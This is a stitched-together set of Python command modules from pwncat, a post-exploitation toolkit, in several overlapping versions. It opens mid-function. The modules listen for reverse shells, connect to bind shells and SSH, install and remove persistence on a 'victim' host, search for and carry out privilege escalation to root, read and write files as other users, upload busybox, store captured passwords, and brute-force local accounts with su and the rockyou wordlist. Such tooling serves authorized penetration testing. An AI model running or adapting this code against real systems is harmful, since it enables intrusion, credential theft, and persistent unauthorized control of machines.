[blue]{host}[/blue]:[cyan]{port}[/cyan]", BarColumn(bar_width=None), transient=True, ) as progress: task_id = progress.add_task("connecting", total=1, start=False) # Connect to the remote host client = socket.create_connection((host, port)) progress.update(task_id, visible=False) progress.log( f"connection to " f"[blue]{host}[/blue]:[cyan]{port}[/cyan] [green]established[/green]" ) pwncat.victim.connect(client) elif protocol == "ssh://": if port is None: port = 22 if not user or user is None: self.parser.error("you must specify a user") if not (password or args.identity): password = prompt("Password: "******"[red]error[/red]: {str(exc)}") return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() console.log("[red]error[/red]: ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(user, key) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") else: try: t.auth_password(user, password) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) if user in pwncat.victim.users and password is not None: console.log(f"storing user password") pwncat.victim.users[user].password = password else: console.log("user not found in database; not storing password") else: console.log(f"[red]error[/red]: {args.action}: invalid action")
class Command(CommandDefinition): """ Set variable runtime variable parameters for pwncat """ def get_config_variables(self): return ["state"] + list(pwncat.victim.config.values) + list(pwncat.victim.users) PROG = "set" ARGS = { "--password,-p": Parameter( Complete.NONE, action="store_true", help="set a user password", ), "variable": Parameter( Complete.CHOICES, nargs="?", choices=get_config_variables, metavar="VARIABLE", help="the variable name to modify", ), "value": Parameter( Complete.LOCAL_FILE, nargs="?", help="the value for the given variable" ), } LOCAL = True def run(self, args): if args.password: if args.variable is None: found = False for user, props in pwncat.victim.users.items(): if "password" in props and props["password"] is not None: print( f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(props['password'])}{Fore.RESET}" ) found = True if not found: util.warn("no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") print( f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}" ) pwncat.victim.users[args.variable]["password"] = args.value else: if ( args.variable is not None and args.variable == "state" and args.value is not None ): try: pwncat.victim.state = util.State._member_map_[args.value.upper()] except KeyError: util.error(f"{args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.victim.config[args.variable] = args.value if args.variable == "db": # We handle this specially to ensure the database is available # as soon as this config is set pwncat.victim.engine = create_engine( pwncat.victim.config["db"], echo=False ) pwncat.db.Base.metadata.create_all(pwncat.victim.engine) # Create the session_maker and default session if pwncat.victim.session is None: pwncat.victim.session_maker = sessionmaker( bind=pwncat.victim.engine ) pwncat.victim.session = pwncat.victim.session_maker() except ValueError as exc: util.error(str(exc)) elif args.variable is not None: value = pwncat.victim.config[args.variable] print( f" {Fore.CYAN}{args.variable}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}" ) else: for name in pwncat.victim.config: value = pwncat.victim.config[name] print( f" {Fore.CYAN}{name}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}" )
class Command(CommandDefinition): """ Manage installation of a known-good busybox binary on the remote system. After installing busybox, pwncat will be able to utilize it's functionality to augment or stabilize local binaries. This command can download a remote busybox binary appropriate for the remote architecture and then upload it to the remote system. """ PROG = "busybox" ARGS = { "--list,-l": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="list", dest="action", help="List applets which the remote busybox provides", ), "--install,-i": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="install", dest="action", help="Install busybox on the remote host for use with pwncat", ), "--status,-s": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="status", dest="action", help="List the current busybox installation status", ), "--url,-u": Parameter( Complete.NONE, action=StoreForAction(["install"]), nargs=1, help="The base URL to download busybox binaries from (default: 1.31.0-defconfig-multiarch-musl)", default=( "https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/" ), ), } DEFAULTS = {"action": "status"} def run(self, args): if args.action == "install": pwncat.victim.bootstrap_busybox(args.url) elif args.action == "list": if pwncat.victim.host.busybox is None: util.error( "busybox hasn't been installed yet (hint: run 'busybox --install'" ) return util.info("binaries which the remote busybox provides:") # Find all binaries which are provided by busybox provides = pwncat.victim.session.query(pwncat.db.Binary).filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ) for binary in provides: print(f" * {binary.name}") elif args.action == "status": if pwncat.victim.host.busybox is None: util.error("busybox hasn't been installed yet") return util.info( f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}" ) # Find all binaries which are provided from busybox nprovides = ( pwncat.victim.session.query(pwncat.db.Binary) .filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ) .with_entities(func.count()) .scalar() ) util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
class Command(CommandDefinition): """ Set variable runtime variable parameters for pwncat """ def get_config_variables(self): options = (["state"] + list(pwncat.config.values) + list(pwncat.victim.users)) if pwncat.config.module: options.extend(pwncat.config.module.ARGUMENTS.keys()) return options PROG = "set" ARGS = { "--password,-p": Parameter( Complete.NONE, action="store_true", help="set a user password", ), "--global,-g": Parameter( Complete.NONE, action="store_true", help="Set a global configuration", default=False, ), "variable": Parameter( Complete.CHOICES, nargs="?", choices=get_config_variables, metavar="VARIABLE", help="the variable name to modify", ), "value": Parameter(Complete.LOCAL_FILE, nargs="?", help="the value for the given variable"), } LOCAL = True def run(self, args): if args.password: if args.variable is None: found = False for name, user in pwncat.victim.users.items(): if user.password is not None: console.print( f" - [green]{user}[/green] -> [red]{repr(user.password)}[/red]" ) found = True if not found: console.log( "[yellow]warning[/yellow]: no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") console.print( f" - [green]{args.variable}[/green] -> [red]{repr(args.value)}[/red]" ) pwncat.victim.users[args.variable].password = args.value else: if (args.variable is not None and args.variable == "state" and args.value is not None): try: pwncat.victim.state = State._member_map_[ args.value.upper()] except KeyError: console.log( f"[red]error[/red]: {args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.config.set(args.variable, args.value, getattr(args, "global")) if args.variable == "db": # We handle this specially to ensure the database is available # as soon as this config is set pwncat.victim.engine = create_engine( pwncat.config["db"], echo=False) pwncat.db.Base.metadata.create_all( pwncat.victim.engine) # Create the session_maker and default session pwncat.victim.session_maker = sessionmaker( bind=pwncat.victim.engine) pwncat.victim.session = pwncat.victim.session_maker() except ValueError as exc: console.log(f"[red]error[/red]: {exc}") elif args.variable is not None: value = pwncat.config[args.variable] console.print( f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]" ) else: for name in pwncat.config: value = pwncat.config[name] console.print( f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]" )
class Command(CommandDefinition): """ Manage various persistence methods on the remote host """ def get_method_choices(self): return [method.name for method in pwncat.victim.persist] def get_user_choices(self): """ Get the user options """ current = pwncat.victim.current_user if current.id == 0: return [name for name in pwncat.victim.users] else: return [current.name] PROG = "persist" ARGS = { "--method,-m": Parameter( Complete.CHOICES, metavar="METHOD", help="Select a persistence method to deploy", choices=get_method_choices, ), "--user,-u": Parameter( Complete.CHOICES, metavar="USER", help="For non-system persistence modules, the user to install as (only valid if currently UID 0)", choices=get_user_choices, ), "--status,-s": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="status", help="Check the status of the given persistence method", ), "--install,-i": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="install", help="Install the selected persistence method", ), "--list,-l": Parameter( Complete.NONE, nargs=0, action=StoreConstOnce, dest="action", const="list", help="List all available persistence methods", ), "--remove,-r": Parameter( Complete.NONE, nargs=0, action=StoreConstOnce, dest="action", const="remove", help="Remove the selected persistence method", ), "--clean,-c": Parameter( Complete.NONE, nargs=0, action=StoreConstOnce, dest="action", const="clean", help="Remove all installed persistence methods", ), } DEFAULTS = {"action": "status"} # List of available persistence methods METHODS: Dict[str, Type["PersistenceMethod"]] = {} @property def installed_methods(self) -> Iterator[Tuple[str, str, PersistenceMethod]]: me = pwncat.victim.current_user for method in pwncat.victim.persist: if method.system and method.installed(): yield (method.name, None, method) elif not method.system: if me.id == 0: for user in pwncat.victim.users: util.progress(f"checking {method.name} for: {user}") if method.installed(user): util.erase_progress() yield (method.name, user, method) util.erase_progress() else: if method.installed(me.name): yield (method.name, me.name, method) def run(self, args): if args.action == "status": ninstalled = 0 for user, method in pwncat.victim.persist.installed: print(f" - {method.format(user)} installed") ninstalled += 1 if not ninstalled: util.warn( "no persistence methods observed as " f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}" ) return elif args.action == "list": if args.method: try: method = next(pwncat.victim.persist.find(args.method)) print(f"\033[4m{method.format()}{Style.RESET_ALL}") print(textwrap.indent(textwrap.dedent(method.__doc__), " ")) except StopIteration: util.error(f"{args.method}: no such persistence method") else: for method in pwncat.victim.persist: print(f" - {method.format()}") return elif args.action == "clean": util.progress("cleaning persistence methods: ") for user, method in pwncat.victim.persist.installed: try: util.progress( f"cleaning persistance methods: {method.format(user)}" ) pwncat.victim.persist.remove(method.name, user) util.success(f"removed {method.format(user)}") except PersistenceError as exc: util.erase_progress() util.warn( f"{method.format(user)}: removal failed: {exc}\n", overlay=True ) util.erase_progress() return elif args.method is None: self.parser.error("no method specified") return # Grab the user we want to install the persistence as if args.user: user = args.user else: # Default is to install as current user user = pwncat.victim.whoami() try: if args.action == "install": pwncat.victim.persist.install(args.method, user) elif args.action == "remove": pwncat.victim.persist.remove(args.method, user) except PersistenceError as exc: util.error(f"{exc}")
class Command(CommandDefinition): """ Attempt various privilege escalation methods. This command will attempt search for privilege escalation across all known modules. Privilege escalation routes can grant file read, file write or shell capabilities. The "escalate" mode will attempt to abuse any of these to gain a shell. Further, escalation and file read/write actions will attempt to escalate multiple times to reach the target user if possible, attempting all known escalation paths until one arrives at the target user. """ def get_user_choices(self): """ Get a list of all users on the remote machine. This is used for parameter checking and tab completion of the "users" parameter below. """ return list(pwncat.victim.users) def get_method_ids(self): """ Get a list of valid method IDs """ if pwncat.victim is None: return [] return [method.id for method in pwncat.victim.privesc.methods] PROG = "privesc" ARGS = { "--list,-l": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="list", dest="action", help="Enumerate and list available privesc techniques", ), "--all,-a": Parameter( Complete.NONE, action="store_const", dest="user", const=None, help="list escalations for all users", ), "--user,-u": Parameter( Complete.CHOICES, default="root", choices=get_user_choices, metavar="USER", help="the user to gain privileges as", ), "--max-depth,-m": Parameter( Complete.NONE, default=None, type=int, help="Maximum depth for the privesc search (default: no maximum)", ), "--read,-r": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="read", dest="action", help="Attempt to read a remote file as the specified user", ), "--write,-w": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="write", dest="action", help="Attempt to write a remote file as the specified user", ), "--path,-p": Parameter( Complete.REMOTE_FILE, action=StoreForAction(["write", "read"]), help="Remote path for read or write actions", ), "--escalate,-e": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="escalate", dest="action", help="Attempt to escalate to gain a full shell as the target user", ), "--exclude,-x": Parameter( Complete.CHOICES, action="append", choices=get_method_ids, metavar="METHOD", help="Methods to exclude from the search", ), "--data,-d": Parameter( Complete.LOCAL_FILE, action=StoreForAction(["write"]), default=None, help="The local file to write to the remote file", ), } DEFAULTS = {"action": "list"} def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user, exclude=args.exclude) if len(techniques) == 0: console.log("no techniques found") else: for tech in techniques: color = "green" if tech.user == "root" else "green" console.print( f" - [magenta]{tech.get_cap_name()}[/magenta] " f"as [{color}]{tech.user}[/{color}] " f"via {tech.method.get_name(tech)}" ) elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain, technique = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth ) console.log(f"file [green]opened[/green] with {technique}") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: console.log(f"file write [red]failed[/red]") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file try: with open(args.data, "rb") as f: data = f.read() except (PermissionError, FileNotFoundError): console.log(f"{args.data}: no such file or directory") try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) console.log("file write [green]succeeded[/green]") except privesc.PrivescError as exc: console.log(f"file write [red]failed[/red]: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate( args.user, depth=args.max_depth, exclude=args.exclude ) console.log("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"[yellow]\u2ba1[/yellow] " console.log(f"{(i+1)*' '}{arrow}{technique}") ident = pwncat.victim.id if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: pwncat.victim.command_parser.dispatch_line("euid_fix") pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: console.log(f"privilege escalation [red]failed[/red]: {exc}")
class Command(CommandDefinition): """ Attempt to bruteforce user password(s) from a dictionary. This will use the provided dictionary to attempt a local passwod bruteforce. WARNING: if automatic disabling of accounts is enabled, this **will** lock the targeted account out! """ def get_remote_users(self): if pwncat.victim is not None: return pwncat.victim.users.keys() else: return [] PROG = "bruteforce" ARGS = { "--dictionary,-d": Parameter( Complete.LOCAL_FILE, type=argparse.FileType("r"), help= "The local dictionary to use for bruteforcing (default: kali rockyou)", default="/usr/share/wordlists/rockyou.txt", ), "--user,-u": Parameter( Complete.CHOICES, choices=get_remote_users, help= "A local user to bruteforce; this can be passed multiple times for multiple users.", action="append", required=True, metavar="USERNAME", ), } def run(self, args): with Progress( "bruteforcing", "[blue]{task.description}", "•", "[cyan]{task.fields[password]}", ) as progress: tasks = [ progress.add_task(name, password="", start=False) for name in args.user ] for i, name in enumerate(args.user): args.dictionary.seek(0) progress.start_task(tasks[i]) for line in args.dictionary: line = line.strip() progress.update(tasks[i], password=line) try: # Attempt the password pwncat.victim.su(name, line, check=True) pwncat.victim.users[name].password = line progress.update( tasks[i], password=f"password is [green]{repr(line)}[/green]", ) break except PermissionError: continue else: progress.update( tasks[i], password="******") progress.stop_task(tasks[i])
class Command(CommandDefinition): """ Connect to a remote host via SSH, bind/reverse shells or previous persistence methods installed during past sessions. """ PROG = "connect" ARGS = { "--config,-C": Parameter( Complete.NONE, help= "Path to a configuration script to execute prior to connecting", ), "--listen,-l": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="listen", nargs=0, help="Listen for an incoming reverse shell", ), "--connect,-c": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="connect", nargs=0, help="Connect to a remote bind shell", ), "--ssh,-s": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="ssh", nargs=0, help="Connect to a remote ssh server", ), "--reconnect,-r": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="reconnect", nargs=0, help="Reconnect to the given host via a persistence method", ), "--list": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="list", nargs=0, help="List remote hosts with persistence methods installed", ), "--host,-H": Parameter( Complete.NONE, help= "Address to listen on or remote host to connect to. For reconnections, this can be a host hash", ), "--port,-p": Parameter( Complete.NONE, type=int, help="The port to listen on or connect to", action=StoreForAction(["connect", "listen", "ssh"]), ), "--method,-m": Parameter( Complete.NONE, help="The method to user for reconnection", action=StoreForAction(["reconnect"]), ), "--user,-u": Parameter( Complete.NONE, help= "The user to reconnect as; if this is a system method, this parameter is ignored.", action=StoreForAction(["reconnect", "ssh"]), ), "--password,-P": Parameter( Complete.NONE, help="The password for the specified user for SSH connections", action=StoreForAction(["ssh"]), ), "--identity,-i": Parameter( Complete.NONE, help="The private key for authentication for SSH connections", action=StoreForAction(["ssh"]), ), } DEFAULTS = {"action": "none"} LOCAL = True def run(self, args): if pwncat.victim.client is not None: util.error( "connect can only be called prior to an active connection!") return if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: self.parser.error(str(exc)) if args.action == "none": # No action was provided, and no connection was made in the config if pwncat.victim.client is None: self.parser.print_help() return if args.action == "listen": if not args.host: args.host = "0.0.0.0" util.progress(f"binding to {args.host}:{args.port}") # Create the socket server server = socket.create_server((args.host, args.port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") return util.success(f"received connection from {address[0]}:{address[1]}") pwncat.victim.connect(client) elif args.action == "connect": if not args.host: self.parser.error( "host address is required for outbound connections") util.progress(f"connecting to {args.host}:{args.port}") # Connect to the remote host client = socket.create_connection((args.host, args.port)) util.success(f"connection to {args.host}:{args.port} established") pwncat.victim.connect(client) elif args.action == "ssh": if not args.port: args.port = 22 if not args.user: self.parser.error("you must specify a user") if not (args.password or args.identity): self.parser.error( "either a password or identity file is required") try: # Connect to the remote host's ssh server sock = socket.create_connection((args.host, args.port)) except Exception as exc: util.error(str(exc)) return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() util.error("ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(args.user, key) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") else: try: t.auth_password(args.user, args.password) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) elif args.action == "reconnect": if not args.host: self.parser.error( "host address or hash is required for reconnection") try: addr = ipaddress.ip_address(args.host) util.progress(f"enumerating persistence methods for {addr}") host = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if host is None: util.error(f"{args.host}: not found in database") return host_hash = host.hash except ValueError: host_hash = args.host # Reconnect to the given host try: pwncat.victim.reconnect(host_hash, args.method, args.user) except PersistenceError as exc: util.error(f"{args.host}: connection failed") return elif args.action == "list": if pwncat.victim.session is not None: for host in pwncat.victim.session.query(pwncat.db.Host): if len(host.persistence) == 0: continue print( f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" ) for p in host.persistence: print( f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" ) else: util.error(f"{args.action}: invalid action")
class Command(CommandDefinition): """ Connect to a remote host via SSH, bind/reverse shells or previous persistence methods installed during past sessions. """ PROG = "connect" ARGS = { "--config,-C": Parameter( Complete.NONE, help= "Path to a configuration script to execute prior to connecting", ), "--listen,-l": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="listen", nargs=0, help="Listen for an incoming reverse shell", ), "--connect,-c": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="connect", nargs=0, help="Connect to a remote bind shell", ), "--ssh,-s": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="ssh", nargs=0, help="Connect to a remote ssh server", ), "--reconnect,-r": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="reconnect", nargs=0, help="Reconnect to the given host via a persistence method", ), "--list": Parameter( Complete.NONE, action=StoreConstOnce, dest="action", const="list", nargs=0, help="List remote hosts with persistence methods installed", ), "--host,-H": Parameter( Complete.NONE, help= "Address to listen on or remote host to connect to. For reconnections, this can be a host hash", ), "--port,-p": Parameter( Complete.NONE, type=int, help="The port to listen on or connect to", action=StoreForAction(["connect", "listen", "ssh"]), ), "--method,-m": Parameter( Complete.NONE, help="The method to user for reconnection", action=StoreForAction(["reconnect"]), ), "--user,-u": Parameter( Complete.NONE, help= "The user to reconnect as; if this is a system method, this parameter is ignored.", action=StoreForAction(["reconnect", "ssh"]), ), "--password,-P": Parameter( Complete.NONE, help="The password for the specified user for SSH connections", action=StoreForAction(["ssh"]), ), "--identity,-i": Parameter( Complete.NONE, help="The private key for authentication for SSH connections", action=StoreForAction(["ssh"]), ), } DEFAULTS = {"action": "none"} LOCAL = True def run(self, args): if pwncat.victim.client is not None: console.log("connection [red]already active[/red]") return if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: console.log(f"[red]error[/red]: {exc}") return if args.action == "none": # No action was provided, and no connection was made in the config if pwncat.victim.client is None: self.parser.print_help() return if args.action == "listen": if not args.host: args.host = "0.0.0.0" with Progress( f"bound to [blue]{args.host}[/blue]:[cyan]{args.port}[/cyan]", BarColumn(bar_width=None), ) as progress: task_id = progress.add_task("listening", total=1, start=False) # Create the socket server server = socket.create_server((args.host, args.port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: progress.update(task_id, visible=False) progress.log("[red]aborting[/red] listener") return progress.update(task_id, visible=False) progress.log( f"[green]received[/green] connection from [blue]{address[0]}[/blue]:[cyan]{address[1]}[/cyan]" ) pwncat.victim.connect(client) elif args.action == "connect": if not args.host: console.log("[red]error[/red]: no host address provided") return with Progress( f"connecting to [blue]{args.host}[/blue]:[cyan]{args.port}[/cyan]", BarColumn(bar_width=None), ) as progress: task_id = progress.add_task("connecting", total=1, start=False) # Connect to the remote host client = socket.create_connection((args.host, args.port)) progress.update(task_id, visible=False) progress.log( f"connection to " f"[blue]{args.host}[/blue]:[cyan]{args.port}[/cyan] [green]established[/green]" ) pwncat.victim.connect(client) elif args.action == "ssh": if not args.port: args.port = 22 if not args.user: self.parser.error("you must specify a user") if not (args.password or args.identity): self.parser.error( "either a password or identity file is required") try: # Connect to the remote host's ssh server sock = socket.create_connection((args.host, args.port)) except Exception as exc: console.log(f"[red]error[/red]: {str(exc)}") return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() console.log("[red]error[/red]: ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(args.user, key) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") else: try: t.auth_password(args.user, args.password) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) elif args.action == "reconnect": if not args.host: self.parser.error( "host address or hash is required for reconnection") try: addr = ipaddress.ip_address(args.host) host = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if host is None: console.log( f"[red]error[/red]: {args.host}: not found in database" ) return host_hash = host.hash except ValueError: host_hash = args.host # Reconnect to the given host try: pwncat.victim.reconnect(host_hash, args.method, args.user) except PersistenceError as exc: console.log(f"[red]error[/red]: {args.host}: {exc}") return elif args.action == "list": if pwncat.victim.session is not None: for host in pwncat.victim.session.query(pwncat.db.Host): if len(host.persistence) == 0: continue console.print( f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]" ) for p in host.persistence: console.print( f" - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]" ) else: console.log(f"[red]error[/red]: {args.action}: invalid action")